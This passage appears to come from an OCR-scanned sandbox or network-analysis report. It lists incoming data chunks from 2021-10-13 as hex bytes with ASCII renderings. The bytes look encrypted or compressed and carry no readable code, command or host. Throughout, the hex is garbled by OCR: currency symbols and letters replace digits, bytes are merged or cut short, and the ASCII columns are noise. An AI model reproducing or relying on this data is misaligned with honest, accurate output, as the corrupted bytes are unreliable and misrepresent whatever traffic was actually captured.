d9 e4 62 2d 22 dd 31 4a 16 8a a4 81 5d 25 bf 5¢ bb 73 03 5d 55 77 0a 84 88 97 al 40 83 92 b9 e2 35 94 f6 26 26 c1 3d 91
44 69 80 d2 8e 6b 1f ac 7a 28 5¢ 9c b7 2a a5 c6 5a 31 b8 95 65 ef d7 78 9b e7 7e a4 al 84 9c d2 99 7f 4b 23 d6 a0 95 5f
da c1 6a 37 fa fa f3 7c b7 a7 fd 3b 4b 00 14 a9 b2
Data Ascii: 0-8]J#Ac=/flmqGLZ2w0.b8JtU-4 -F,Nx["> IRz!L*fp<2?x<Q3T-{L6\I;Cb-"1J]%\s]Uw@5&&=Dikz(\*Z1ex~K#_j7|;K

2021-10-13 13:47:09 UTC 79 IN Data Raw: 54 28 2b 90 ad 89 ee 3f 4b a7 79 dc db dd ¢3 df 0d 22 cd c0 2d b4 99 7d 54 e7 d6 b6 95 96 Ob e5 3a 7b 9e 1f
5a49 1c b9 18 eb 29 22 3c ad 4f 16 e7 81 54 8 44 bf 72 61 e1 82 13 17 94 87 0f 19 8b 9b b7 49 b4 3d 4f ba 8b 43 d7 d5
99 64 cd c0 bf 5d 54 9d 30 50 8e 3c fb cc c1 40 bb 4a a5 1c d3 a3 9c d5 f7 b5 8a 95 67 78 fa 11 6a b8 c9 b6 99 2d aa 6b
e2 6f bl e5 5c¢ 0d 12 59 84 b2 69 33 25 39 3e c0 ef d6 82 0e 92 90 85 dd 04 4c b6 b6 a8 b3 3e 12 16 7f 9f 4b 3e e2 12 05
c9 da 09 5f cf b9 39 cc 12 bf 35 c6 a2 9f 42 6b c0 bd 25 bc 08 63 Oe 33 14 a2 b1 4f 9b d9 4f 87 74 1d 4d 6d c5 97 3c 03 1d
17 d9 7e ae 98 90 Oc 27 d8 43 25 cc ee a2 f9 47 al 4a 99 cb d4 6c fd 13 6a 08 ac 3d 55 8c 2b 67 69 6e 44 3a cf 22 dd eb
8 03 ¢5 21 55 6a 14 82 Oc 43 b4 6 98 dc 83 e5 €9 d6
Data Ascii: T(+?Ky"-}T:{Zl)"<OTDral=0Cd]TOP<@Jgxj-ko\Yi3%9>L>K>_95Bk%c300tMm<~'C%GJlj=U+ginD:"!UjC

2021-10-13 13:47:09 UTC 80 IN Data Raw: fb 22 ff 3f 98 41 a7 fd 0a 4a 00 0d a9 b2 f0 54 7c 63 56 86 d7 c1 22 d1 c3 ec 6d 13 4c b4 7c fe 63 7d 8a 03 84
ab 14 b1 df 04 e8 53 dc a9 24 30 c0 ae 3e b5 16 b1 06 cc e7 74 ca 5¢ 8e 45 8e 49 80 c6 b0 e5 54 55 eb 3b 13 98 dc 64 17
07 d7 69 03 8b f1 1a a8 07 f4 al a0 49 Ob df ea c2 ac e0 a9 12 12 cb 41 4e b1 8a 72 91 7d c5 91 70 af fe 13 39 bb e0 Oc
4477 16 2e b3 0b 17 7c 95 71 52 4d 26 40 04 3f 69 a8 fd c2 Ob b5 96 06 14 7b 9e ae 97 05 a8 cb 84 c2 60 0f el a8 b8 54
25 0f 26 b2 dd ac e5 88 bb 13 f7 be 95 17 4f ad b2 18 8¢ 55 66 73 8b e8 5f 99 d9 ee 48 ee 8¢ 26 d2 f1 32 95 8f 9b 18 76
6b b4 5e b3 e6 28 1f 36 a2 1e ff Ob dc 5e 8f 22 bf 4c ee b7 8b a9 6e d8 38 1b 42 b4 d3 3d c7 5f 24 0e 95 9b 2 f2 5f 90 e2
59 e6 ce 75 fc 07 db €9 88 56 94 b4 b9 c0 91 dO 13
Data Ascii: "?AJT|cV"mL|c}S$O>t\EITU;dilANr}p9DwW.|gRM&@?i{ T%&OUfs_H&2vk N (67"Ln8B=_$_YuV

2021-10-13 13:47:09 UTC 81 IN Data Raw: 6a 81 d0 36 12 97 51 93 ed dc ba 13 d9 dd fc 7c 3e cf 96 0d b4 2e d8 ac d1 80 40 99 a0 a4 70 a9 a3 ee 97 05
€7 31 29 ce 44 95 93 2f fc 1a a0 f8 28 ae 37 46 c7 61 58 29 d8 7e f2 05 3e 7f 6f 4f 48 ¢3 55 d0 63 30 82 8b f9 b5 df 1e 7d
1b b3 cada f1 22 fb b3 20 b5 e5 d6 28 a0 00 71 20 4e 94 7c 65 8b 28 cc Ob 03 f6 6e 27 c¢8 96 b5 04 de 0a 9d 47 Ob 0Of 4¢c
b5 75 27 1a 08 f2 bb 3 42 36 b4 {7 fc a9 6¢ aa 93 7c 02 7a db fc f9 20 8f 3c 79 7f b8 4a e0 b3 91 d6 12 31 a7 af 55 aa 5e
la ad 6¢ 6b 66 €8 96 4a 14 fa 6f a6 7f 94 bc a6 45 d8 cb 78 ¢9 80 83 17 0d c3 a3 18 65 f8 95 41 1f d7 99 8a 34 2c 6¢ de
98 3a aa a5 41 29 e4 fe 97 cd ae 6a 8c 5f 7d 0a 09 52 1d d3 5a 21 01 4b b1 f4 bb dd 3f b7 10 56 87 98 33 8f 29 Oe 87 9f
27 2fd4 38 d1 09 2c d5 7c 43 e9 af f2 69 76 c2 Oe
Data Ascii: j6Q|>.@p1)D/(7FaX)~>00HUc0}" (q N|e(n'GLu'B6l|z <yJ1UNkfJoExeA4,l:A)|_}RZ!K?V3)/8,|Civ

2021-10-13 13:47:09 UTC 82 IN Data Raw: ae le 2c 7a 46 6 e0 fa f5 45 33 ac 3e 10 6e 8a ac ff bb 71 ee 6f e3 9a 6f 2f d0 5d d3 de ed 41 40 30 67 5e d8
b2 d9 b9 35 d6 b9 4e e2 27 39 ¢6 bc 71 75 eb 4a 67 fe 2f 5¢ 30 38 3a 33 94 55 ff 64 24 a4 a9 86 2b 7e da b7 97 f4 c3 bc
09 0f 8¢ 90 16 75 55 56 2f 28 2e eb 2d df 29 ce cf 6d 70 7b 16 93 b4 cc 26 3f c4 ba €8 32 03 36 a9 6a 50 bd f0 12 78 31 cb
07 7e e2 e6 98 37 ae 57 34 19 1c 7d 9a 57 b0 el 02 4b f9 a2 62 3f c8 a2 f6 68 4b cf 9d 99 62 64 €9 ce dc 17 ae ef 20 e3
a2 97 22 42 91 8c 0a 9b 2a 3f 77 33 4a 27 f2 65 05 c1 4d 7a ef df cd f7 77 1b 25 1a 3a c0 7f 34 20 88 53 bc 67 b7 7d 0d
89 63 10 cd 9e 61 b0 bd 98 b3 50 71 f3 33 4b de 98 60 20 42 el ba ed 41 cf be e0 fa 25 e9 cd f2 8d bb db 85 9e fe 56 5e
1b 00 96 €9 13 49 df a5 6a le 5f 1a 64 eb 7b 79 54
Data Ascii: ,zZFE3>nqoo/|JA@0g"5N'9quJg/\08:3Ud$+~uUV/(.-)mp{&?26jPx1~7W4}WKb?hKbd "B*?w3J'eMzw%:4 Sg}
caPq3K™ BA%VAI_d{yT

2021-10-13 13:47:09 UTC 83 IN Data Raw: d8 b7 6a c4 6e 6e 98 ff Ob 6e ab 80 c2 de 78 1c 53 bb 4d ae e3 a5 29 de 71 b9 e9 8e 52 8¢ 41 c6 26 fc 3b 4e 6f
bl c1 3100 a0 67 d6 01 59 14 f4 b8 d5 11 1f ce Oe 7b df 15 ad 5b eb 70 88 4c b5 99 04 5¢ 72 74 ac d4 06 80 30 5a da a8
db 52 44 02 38 bf 27 41 95 73 d4 2a 00 2f 5¢c 16 d7 68 da 79 1b 13 64 53 b5 06 73 e2 7d 59 4b 66 09 f6 07 c8 a8 05 c4 05
52 06 a8 b6 4e 39 3d f4 60 b6 80 be 6e b9 52 ¢3 56 3b df 67 38 99 8f 13 37 22 09 05 72 50 2a Oe 73 8a 7e 0d 65 b4 97 60
46 8b 43 ea 83 1b 6a 5a 8d 47 64 47 2e dc 98 43 77 91 cc 1d 19 63 59 b9 ea 78 ba 9c 5e ca 08 3b 79 af 06 aa 7b 6a 64
dac7 5f 19 7e dc a5 e4 54 d0 70 b4 eb 9f 3c 58 a5 a5 be 3a 3¢ 69 8a d2 5b 15 92 90 50 4e d9 al b9 20 a2 bc 3c 1a 7e 7f
c8 4d 5f 63 a3 ed 76 48 5c 4f 2c 9e 89 5e b1l 5e 40 a4 c8
Data Ascii: jnnnxSM)qRA&;No1gY{[pL\rt0ZRD8'As*\hydSs}YKfRN9="nRV;g87"rP*s~e FCjZGdG.CwcYx";y{jd_~Tp<X:
<i[PN <~M_cvH\O,"@

2021-10-13 13:47:09 UTC 84 IN Data Raw: 2c cf 19 d5 1c 86 a4 d4 7b aa 66 f6 d7 77 69 31 e5 7b 4c 3b 77 16 5f 9d 72 8e a9 d5 c9 2a 96 Le dc 48 85 8f 09
€6 d8 34 d4 5a 8b 1d f4 82 6b c3 40 da 7c 3a 28 6f 5¢ 0d bd f8 0a f9 60 7e 81 ff df 24 7c 9b d1 48 7a Oc 31 5e 97 3b c5 c7
06 9b ed ba f9 5¢ 1d 05 35 7e 28 21 66 ac cb €5 6¢ 49 10 5a ab ba c4 8d 69 el 54 96 {7 19 35 61 ca a9 bl 9a 59 df b0 5f
d9 79 82 29 5¢ bd 6b 82 aa 13 49 32 90 59 ad 75 f5 ff f0 32 90 68 14 e2 d1 56 c2 3a 34 c1 €9 eb 31 b0 d1 67 96 ed 9 fd
44 42 10 d5 6¢ 74 a3 62 8d 2b 0 93 ed 78 87 f0 d6 b0 4e 64 75 b6 c8 26 9f 02 1d 4f 1b 88 4 6a fc 6f 78 ca d2 52 06 ae 13
db 45 2¢ 46 6¢ 5a 17 5d b3 4f ac c0 ed f5 68 4c el 05 33 b3 7d ¢3 79 07 5f b9 1f 06 e2 6a 91 2a 3c 05 df cb 07 b7 ff 04 6f
92 b9 3e 21 01 8d 68 03 c7 86 04 b7 6b 25 a8
Data Ascii: {fwil{L;w_r*H4ZK@|:(o\'~$|Hz1\5~(flIZiT5aY_y)\kI2Yu2hV:41gDBItb+xNdu&OjoxRE,FIZ]JOhL3}y_j*<0>!hk%

2021-10-13 13:47:09 UTC 86 IN Data Raw: 6e b2 f3 8¢ 9f d3 f9 Oe 90 a6 85 b8 el 46 99 fc 71 f0 51 cd 93 d5 6b 8b 9b 87 5a 39 18 7a 3c 78 44 75 ¢c6 91 cc
7b 7c {7 f2 57 4c 4e 53 b5 de c3 36 aa 3f 9f 8¢ 65 98 b6 f1 15 41 53 99 40 12 a0 20 ee 99 49 d3 e7 6d dc a9 cd 64 c7 30
69 6a bb 95 60 08 d8 fc f4 91 7e ac 98 1f 4e fc Of 1d 2a b5 14 91 d9 71 f0 f6 2d 72 f3 18 97 39 26 82 f0 3c a2 29 b2 54 53
53 97 dd ec a0 44 a9 f5 ec 62 7e 39 ff 18 a0 fe e8 7a 41 ec d8 63 96 37 74 c7 e7 8f al fa 1b fd 2b 84 b5 59 2a 09 b0 66 66
c38e 95 b6 b2 dd 7e 7f Oe 70 cb 62 70 38 5e a8 97 54 5¢ b1 e0 41 65 e6 ef df 18 3b cf aa 5d 66 70 68 5f c1 87 be 23 9b
86 €0 d0 38 Oe 10 51 a2 f7 f1 6d 7a ff cf c3 5f 1f al 71 bd d8 c3 a9 f5 cb 13 8f 0d ed b5 2c 8f 6a 79 8c ac a2 0d 41 6f d5 c8
Oe cf 76 89 9d c8 1f Oe 30 89 3a ae €9 b4
Data Ascii: NFqQkZ9z<xDu{|WLNS6?eAS@ Imd0ij ~N*g-r9&<)TSSDb~9zAc7t+Y*ff~pbp8 T\Ae;]fph_#8Qmz_q,jyAovO:

2021-10-13 13:47:09 UTC 87 IN Data Raw: 35 72 23 83 f8 6d Of 16 bb 6f b3 3a f4 be 52 3a 4f ad 5b 19 db 3e f0 db f7 11 d9 02 a7 e6 d3 b7 4b de aa 82 cf
90 07 eb 8b a8 b6 fe bf d6 98 a3 02 ab bb 89 fb ef 7e 77 dd ca b3 e7 99 1a 5f 85 d6 fa 66 90 fO 01 b2 78 cb 2a 84 75 63 47
59 f7 22 36 95 59 d6 22 92 a8 82 9f ca df 04 39 d2 ad c1 ¢3 03 3fd8 22 27 d3 a9 ef b3 9e d6 2a b7 40 71 5c d9 5a 10 8d
24 33 5d 65 dd a5 01 65 82 7c 51 3c cc 07 1b 1e b9 54 23 74 dO c5 4a 66 09 8a 2b 4b bc 5b 4f 63 cb e5 11 79 42 21 3d a6
2a 63 68 eb 61 e7 d9 a5 cf f0 0d 04 08 47 fe f5 1d ff 09 56 00 9b 0d 1a 92 de e3 18 1a al 10 74 e8 bl ab 7a 7e 8e 95 54
04 af 6a 4b f5 6f 2d 27 00 85 b9 88 9d 7f 17 da al 3c 31 d9 c5 ce 7f 24 23 15 42 ab 93 52 11 60 c0 5f 19 52 dc a5 e4 54
d0 70 10 00 d8 f0 39 56 2b f9 2a a3 Oe 46 2e 05 9c
Data Ascii: 5r#mo:R:O[>K~w_fx*ucGY"6Y"9?"*@q\Z$3]ee| Q<T#tJf+K[OcyB!=*chaGVtz~TjKo-'<1$#BR"_RTpOV+*F.
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:47:09 UTC 88 IN Data Raw: 47 e8 3d 9a d2 c1 1f be 61 1a e0 b9 ed f9 b7 41 1f 3f 62 3d 9a 96 24 42 e8 53 08 ca fc 29 64 63 d8 71 98 4f d7
2c 72 a6 d4 87 ac 4f f6 84 ab 86 5e e3 77 26 bc el 52 32 b6 28 0a 84 54 ce 2e 26 1a 5d 9e 5f 4f 17 7d 9e bf 31 07 c1 64 fd
7e 13 84 f2 87 27 74 a3 3a 4c 0f 85 38 Oe 8 a9 ff f4 e3 a9 74 fd b4 11 48 7c Oc ¢8 40 97 3b 75 09 81 dc 21 33 ba 55 83 9f
el el fd 9f 64 e4 12 7a da ef ce df 38 7c 2a 56 7c a3 54 be 17 c5 2b Ob 4b 22 a6 99 5¢ 5e 9f b9 d8 a6 27 64 58 ee e6 54
5143 9d 1e 95 90 ab 76 25 78 25 fc 95 65 80 36 af 47 e5 b1 72 10 el 29 82 6 1c 6b 5f 51 63 f2 47 84 59 43 ee dc 0d 85
55 de f1 93 12 fc fa 22 ae e7 cb c1 3d 9c e0 40 3c d8 2e 1b 34 a4 7f 1f 67 1a 61 4e 13 25 8c d3 07 d5 f7 25 4b 63 13 15 08
bf a6 56 9d b0 99 10 18 el 05 33 4a 6d 4f 39
Data Ascii: G=aA?b=$BS)dcqO,rO”"w&R2(T.&]_O}1d~'t:L8tH|@;u!3Udz8|*V|T+K"WdXTQCv%x%e6Gr)k_QcGYCU"=@<
.4gaN%%KcV3ImO9

2021-10-13 13:47:09 UTC 89 IN Data Raw: €2 1c 56 70 ad 61 28 9a dd 58 fa 81 16 de 27 8e f1 89 b7 {7 a5 b5 01 83 92 5d 4f 16 70 Oe ce 64 c4 cd d8 7b
02 a3 e3f0 87 f6 fb 77 66 5¢ bb cd 57 d1 c0 30 cO 5¢ 8b 9¢ d9 2b 04 92 ac be 60 40 7a 9f 9a 42 03 ca 40 c6 86 21 70 3a
b3 4a al 43 3d 51 4c ad a8 71 95 d1 23 a8 4a 4f 3a bd f1 3a 07 17 d5 5a 8c 05 da ee ff 9f 9c f8 27 b2 45 b0 dc 11 e9 40
aac4 a3 5561 c5 8 d4 69 09 e9 e5 5a f6 25 2a b5 23 30 29 92 29 eb 8d 48 60 45 1f 4b c7 2c d1 f3 Oe Ob 9b 10 65 15 66
61 19 74 €0 be c8 8e 10 bb 20 60 e8 46 92 0f 20 36 f2 3a 4a 7f 2e 1e d5 9d 89 50 af b6 41 15 5¢ c2 ef 9c d7 el 7c 7c 4c
€6 57 3d b8 2c af b6 08 19 6b b2 17 3c ac c6 0b cd fa c5 67 6a dd 68 7d 6e d8 96 30 7f 57 32 2b ab 40 48 98 01 69 a5 31
aac0 f8 65 9b 2e 75 70 f5 45 83 17 71 ab eb bf 2c 6a b2
Data Ascii: Vpa(X']Opd{wi\WO\+* @zB@!p:JC=QLq#JO::Z’'E@UaiZ%*#0))H EK efat 'F 6:J.PA\||LW=,k<gjh}nOW2+
@Hile.upEg,j

2021-10-13 13:47:09 UTC 91 IN Data Raw: f3 0a aa 1f 51 fc 91 b4 00 7d 6c¢ bb 13 69 6a d8 76 95 87 ab 28 b8 ac Oe 4f 49 52 75 22 11 32 9a 85 72 9d 83
84 al 8f 39 95 35 b0 6e 57 88 €9 8 8d c7 01 e8 38 6b aa d5 5b 01 a9 ff 05 86 28 bf €6 al b0 41 a3 27 ca 7a 90 20 30 d7
37 c9 ef 59 ab f0 c7 9a 97 3a 3f 9a 6a 07 7b 3c 5b 90 a0 36 02 5b c8 c1 8b 32 ed bl 61 f0 ee 07 01 12 39 95 d7 eb fa 74
93 a0 18 d9 52 74 85 22 32 b5 6¢ 7b ec 09 f1 63 a0 be 5d 55 1c 1f 3a cb ec el 71 5f d4 77 f8 16 49 ed e6 {7 cb 65 1b Oc
8e bb 81 d5 c6 ea 7b 6d db 2b 9b 15 8f cf 4e 4a 67 8a 3a dc 7b 66 b3 87 75 b3 04 bl e7 90 9b 2d 50 68 f6 27 29 6b a5 5¢
Oc Oe b4 31 6a d4 dc al 44 9d 47 31 16 08 f6 35 9e 90 47 fc 27 cb 04 d8 95 8 d6 8d c3 4e el f6 ec c2 8d 6¢ 55 e6 78 69
ca a5 27 bd 3d 32 8a 90 1a 3b 83 99 18 c0 f7 89 15 Oc 75
Data Ascii: Q}lijv(OIRu"2r95nW8k[(A'z 07Y:?j{<[6[2a9tRt"2l{c]U:q_wle{m+NJg:{fu-Ph")k\1jDG15G'NIUxi'=2;u

2021-10-13 13:47:09 UTC 92 IN Data Raw: ea 36 7e 52 ¢6 b7 7 52 7d 40 1f 57 c0 7f b9 b4 33 82 59 01 3c fa bb eb f0 10 a0 dc d6 78 b3 09 b7 87 27 c2 f2
4f 16 60 17 92 b5 el 03 7b 76 4e be b0 31 2b d9 3d 36 85 98 80 98 0Of 7 3¢ 5¢ 1b 00 37 2f 13 49 df a5 72 c6 8e f9 20 71
b2 Ob a5 79 a0 59 84 1c ee 5b 76 9e a2 82 87 09 2f 34 d5 5a 8f dc 8b 9d 59 4c 22 92 dc ¢5 17 02 58 bf cf 26 65 86 f5 el 7
ad 97 al 7b 07 7c d5 54 5 b9 80 13 27 b4 09 23 ea e7 7c 69 cc d1 84 3b 6 59 6d b5 a9 3f 39 39 85 ae f0 32 e3 82 c4 d8
d1 eaf9 2a 6¢ ee df 08 bf 19 11 3e 5a 3b fe b7 98 59 1d 41 48 d2 09 52 78 37 b9 30 dc ed 0d 6d 22 d3 07 a9 a7 96 99 13
€7 74 14 77 f6 e2 88 c5 bc 5 3e 64 2a c2 44 f7 95 a2 8c 73 f5 97 5 11 65 43 60 dd 55 29 b8 64 c9 21 09 8b 9b 92 87 aa
4 6b 5a e5 32 65 33 94 83 71 22 e4 ed 48 85 b9 79
Data Ascii: 6~RR}@W3Y<x'O{VN1+=6<\7/Ir qyY[V/4ZYL"X&e{|T'*#]i;Ym?992*>Z;YAHRx70m"tw>d*DseC U)d!kZ2e3q"Hy

2021-10-13 13:47:09 UTC 93 IN Data Raw: b0 14 79 bd 6a 5 96 8e 76 33 fb 78 72 93 91 81 3b fe 88 3 37 aa 82 25 cd 97 82 1d e8 f3 7a 28 9a 87 65 ee
ba 4c b4 4e 2d 34 cc de 64 7a fe c8 el a7 33 d8 52 45 29 df 45 5d 6d 02 43 44 e8 ef c8 78 03 9d 5 3b 9b b4 86 be 95 67
b0 cf 77 df ee 3b 3c 18 8a f4 19 a2 19 bf b4 99 97 41 60 75 5b e f1 fa 21 fd 67 42 7 29 a3 4c Oa e0 a9 fc 9e b5 55 66 a5
5e bl f1 21 f7 bd 03 f2 ¢7 2c b1 ef cd bl 5a 2d f2 56 d6 2d 51 99 e6 08 94 f2 9b d5 9c bf bb 3c ab a9 44 3d 3f 01 6¢c d2 1b
5c 9c ¢8 42 1f ff 62 20 d5 2d 7f €6 c1 93 67 e5 9d b2 5a fa 1a fa 05 90 5¢ 3a 04 70 b2 28 fb 2c 28 4e ae 27 2a 8d b7 56 7e
ch 8a ea 17 3c 28 da b0 40 e4 82 2a b8 3f 9d 00 e6 b5 78 4e 98 8b 3e 0d 71 73 ch 16 8a 6a 27 1c a4 37 8¢ 12 6f ed 22 f1
22 c0 b4 d0 de 05 12 04 77 a6 67 d2 57 bb 81 a5
Data Ascii: yjv3xr;7%z(eLN-4dz3RE)E]JmCDx;gw;<A"u[!gB)LUf!,Z-V-Q<D=2?I\Bb -gZ\:p(,(N*V~<(@*?xN>qsj' 70" " wgW

2021-10-13 13:47:09 UTC 95 IN Data Raw: e2 31 65 9d 93 0d 2c e4 e3 ee 34 be 61 ea 57 7f 91 fc 53 f2 21 07 ae 10 8f d3 af 4a €8 04 44 b5 08 f0 52 cc Oa
07 7f 4d el 8e 26 €9 7d cc fd c6 15 46 10 2a dd f2 7e af f6 40 e5 8b 09 cc 8b f4 14 57 €8 d6 16 bd 73 7a 87 d5 13 11 b7 6b
6 db f2 09 b0 52 27 4f 52 39 Oe 50 74 17 dc 0d 11 21 Oa ea 88 39 e6 f7 02 91 55 11 c0 8b b1 Oe 09 af 8¢ 28 40 0d ad 1f
5e 60 ea le e5 26 62 94 2b 4d 8d a9 3f 9b 38 1b 96 98 75 c9 93 5a 07 ac 40 b7 a9 c8 56 84 08 97 03 66 {7 1e b4 9e 41 53
91 d8 ca c7 c0 cl de 9a a7 29 24 04 04 00 cf 61 da a9 3c 07 86 52 ba 79 73 4e 18 54 28 f6 c8 78 17 ee d7 e5 97 d1 8f 07
19 16 5d ee 92 1a 38 a5 39 Oc 6 f6 10 a4 bl ed bl al 69 d9 a0 33 9f 7d 5e 7f Oc e0 68 bd b3 f4 fa 11 1f a6 80 ab 07 38 56
le bl d5 7d ec 95 95 40 f1 e6 74 70 8c d5 b4 f4
Data Ascii: 1e,4aWS!JDRM&}F*~@WszkR'ORIPHIOU(@" &b+M?8uZ@VfAS)$a<RysNT(x]89i3}*h8Vi@tp

2021-10-13 13:47:09 UTC 96 IN Data Raw: 43 f6 37 f4 e0 ca 56 fd e7 4f 60 7c 85 8b b0 b0 f2 91 e2 92 Oc 71 a4 41 3a ad cf b3 4a a4 b5 ad 5a 7f ee fb f8 b€
cd d0 f4 d5 57 ee 6 a6 44 34 20 50 8b 05 f9 6d f4 ea 37 55 07 3e ¢3 3e 2d Ob cd bf 89 8a 92 54 06 8b af 18 19 5b e2 66
80 e7 b9 41 1f ea f6 c5 fc f2 7a c9 8e cac7 a5 bl 11 41 b9 20 fc cb be a3 9e 30 ¢5 80 a8 21 1b 73 03 f8 76 a2 59 f8 88 b4
e3 ea 3064 7d 0a 07 13 cd 75 fb 85 da f8 04 8b 19 a9 2c bf 81 52 89 12 20 38 fe 8a 4e eb a0 f1 7a 77 d9 56 8c 29 c3 87
79 8f 88 bl 69 ce a9 24 40 93 c1 6f 37 1d f1 b8 8e 10 85 2b d7 b4 71 4b 05 3d bf bf 76 fa 4d 00 af 41 af c2 45 ea 54 e8 b7
95 25 38 8e cb 88 01 63 3a 8a 2c 78 ee 19 d1 37 bf Oa ce ce 99 05 ae 65 15 5a 7a df a8 6a 4e 6e 41 a2 ea 11 c0 65 22 9¢
8e 09 70 9c 64 11 b0 3f a4 e5 00 45 60 4c c4
Data Ascii: C7VO'|gA:JZWD4 Pm7U>>-T[fAzA 0!svYO0d}u,R 8NzwV)yi$@07+qK=vMAET%8c:,x7eZzjNnAe"pd?E L

2021-10-13 13:47:09 UTC 97 IN Data Raw: d1 dd 4d 43 9b a5 53 da Oc 3b 70 6a 8d 32 04 ef 6a af d6 d4 19 48 d5 c0 bf dd fa 24 8a 70 6f 49 99 4f 56 14 62
82 17 b0 78 52 cd Ob 60 0b 3f c7 ec ec 05 84 00 9e c9 d7 0f c6 bd 7c ad e4 49 65 c8 37 ea 52 84 b8 55 ba 34 6b 5f a5 c4
cl a8 47 8 90 6¢ 19 03 4e 41 35 8e 8¢ ab ed f5 39 ec 96 f1 a3 49 29 4e fO ce 00 f9 be 46 e7 87 04 b9 f9 29 24 9f af 89 02
9b 47 9a 1e 06 dO 2d 6f a6 68 28 53 31 8f ae 7f cc ac ¢3 Ob f3 9a e7 37 c5 fd b6 8f 18 ec 73 ba 42 f6 48 13 al 99 55 07 27
d8 43 03 90 ac f1 11 bf 2e 9c ed f8 74 e7 c4 18 bb d2 af 07 fc €9 72 64 3b al 15 ac 5b 78 83 3d 99 83 87 54 ee a8 le 53
25 f8 7f f5 bf 86 58 ff 74 64 6 fe 37 32 15 35 2f 92 59 2¢ 3a ed a0 44 5b 6e 90 33 a0 6b 3d 20 2d c6 ef 32 fe 7e 04 c3 80 ef
c8 ae 48 cd a0 fa 90 e6 9c 6f 8e 55 a3 44
Data Ascii: MCS;pj2jH$polOVbxR "?|le7RU4k_GINA59I)NF)$G-0h(S17sBHU'C.trd;[x=TS%Xtd725/Y,:D[n3k= -2~HoUD

2021-10-13 13:47:09 UTC 98 IN Data Raw: b2 01 4e 11 28 97 a4 7a bb 4e cc e5 11 9c 1a 70 b3 49 35 75 36 09 ef 5b d0 ¢5 92 0f d3 ea a4 33 e7 a5 f3 1b
bb a5 91 8b b7 fc af ¢8 d7 cc d7 e4 97 4f 41 16 59 21 e8 6¢ 48 99 05 eb 90 ce 1a cl d4 09 7a ac ff 10 cb ¢5 70 f9 ef 97 3f
40 ca 98 fb cb 8f 1b c3 c1 Ob d3 de 18 20 7b f4 ef ff 68 85 d0 a7 3d €8 02 c6 ad 12 04 8b 58 7a 04 b2 35 f0 db a8 f4 51 f6
54 65c1 297 e24117 1d b7 6d 91 11 57 17 19 e5 0a 92 19 2c ca 64 85 44 54 12 ff bb c4 9e 09 {7 c3 ed 76 ¢3 7c 7c cd
e3 ef d5 dc d5 5f ac 2f 9d c0 b0 d3 b9 fd Oa 11 63 8d 9f ea d5 e0 13 f8 d9 25 02 e3 44 40 27 10 7f a5 91 58 07 31 94 3e ef
Ob eb 83 96 43 72 9a 67 66 21 a2 2d 5e 93 bf 5f e8 2d 43 45 c2 de f3 36 4b 41 67 3e 38 cf 61 €7 57 97 62 bd 38 59 8d 1c
9 f3 45 33 c7 €9 7a 15 9c 45 6f e2 88 99 6e 55
Data Ascii: N(zNpI5u6[30AY!IHzp?@ {h=Xz5QTe)AmW,dDTv||_/c%D@'X1>Crgf!l-* -CE6KAg>8aWb8YE3zEonU

2021-10-13 13:47:09 UTC 99 IN Data Raw: 6b 04 d8 d1 b8 af b7 61 29 5e df 3c a9 79 30 al e7 03 3c 5d 82 Oc 85 3a d5 11 db fd 30 df d0 44 aa 2d 67 e4 5¢
18 69 95 8d 85 9a bc 9d 7b 78 7b 77 {3 f8 41 83 29 3e 49 7f Ob 7 ba a4 4f 97 cf 68 03 50 f9 ec cf 86 5d a0 64 a8 56 6d 09
d4 af c8 66 le 24 25 6e d4 98 11 8e 91 3d f2 ea 66 1a al 40 de 1c 65 b8 6e 88 4e 23 39 6d ac 44 d1 bd cf 4b 2f fb e9 37
b0 9b db 8a e6 99 ca 8b le fa da 49 3e 45 bb 43 b6 55 d9 7a €3 1b 9b f9 f6 42 d3 23 65 8f 1c f4 81 ae ef b7 67 92 9b ac ca
bc 48 6f b0 3c 2f 10 6b 89 84 6b 27 el b5 b5 63 5e 32 0f 34 9d 3f 92 ¢9 69 4c 13 88 70 18 e0 42 80 7d 91 25 19 cb f9 81
7fc6 fd cd ea 09 25 d1 d9 e5 2¢ 65 90 20 cd 34 dd 00 5a c¢7 71 1a Ob f8 02 eb b7 3e 38 €9 a0 b8 el fe f2 c3 e2 43 b0 d9
03 75 f4 50 8f 8e 3a ea 2f bb 57 ac 28 65 6a 70
Data Ascii: ka)"<y0<]:0D-g\i{x{wA)>I0hP]dVmf$%n=f@enN#9mDK/7|>ECUzB#egHo</kk'c"24?iLpB}%%,e 4Zq>8CuP
(/W (ejp
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kBytes
Timestamp transferred Direction Data

2021-10-13 13:47:09 UTC 100 IN Data Raw: a4 80 03 99 72 67 a9 ad 1b 58 25 fa bd 73 21 3c 1a 71 5a 8e 44 01 34 b7 39 73 6a 27 b7 01 d2 46 90 b4 42 90
ce df 6d fb 42 fd 93 ed 99 26 27 c0 32 ba 71 d7 64 24 04 el 1d cb ba 19 f5 33 8a f5 5d a3 04 bc e3 c7 b7 ef 1e fO de ee 76
d5 85 35 a5 31 66 1d f2 5f 8f 64 Oc 7f ad b1 9b 88 6¢ el 68 2f 46 cf al e3 f3 76 6f 18 72 c8 43 f8 8f f3 f4 b3 c3 61 65 49 4c
ec bb f3 fa b0 Oe 10 54 7a 40 54 3a c0 7f bf 76 1b 8d 05 fd 3f 2c 87 87 b2 eb c1 91 87 2a d8 18 9b 02 fc 3d 91 da 18 d9 13
€0 de b9 eb 25 3f 4e 35 a5 b4 25 €9 81 9b 2a 21 d6 f3 34 09 d4 5a 57 e8 ad e2 5d 5d Oc 36 33 ¢5 02 b7 21 1b 75 d3 dc Oa
1b b2 f0 31 40 db 12 c9 5d 7d 58 87 10 99 c2 31 fa 51 1d d2 06 58 a9 85 3c 59 ce 0d 58 1c Ob 3e 5d d7 77 Oc 87 d7 90 df
40 do 7f 6b 7b a5 fd 7f 67 e4 21 al 8f fd 15
Data Ascii: rgX%s!<qZD49sj'FBmB&'2qd$3]v51f_dlh/FvorCaelLTz@T:v?,*=%?N5%*14ZW]]63!ul@]}X1QX<YX>]w@k{g!

2021-10-13 13:47:09 UTC 102 IN Data Raw: 61 90 86 5a bf 12 0b 95 1a bf 5¢c 4a 70 ac 9b 46 be 5a 4b b0 a9 e0 cf 9e e6 59 bf 4d 18 48 d6 7c 6a 56 €8 92
bb c7 3 9f 75 57 58 13 97 al 54 23 da e9 fb e9 5a 3a c5 ba d0 0Of 8e 81 8e 1d 6e 3d 20 5d 3f dc e3 63 6d d8 05 35 b9 52
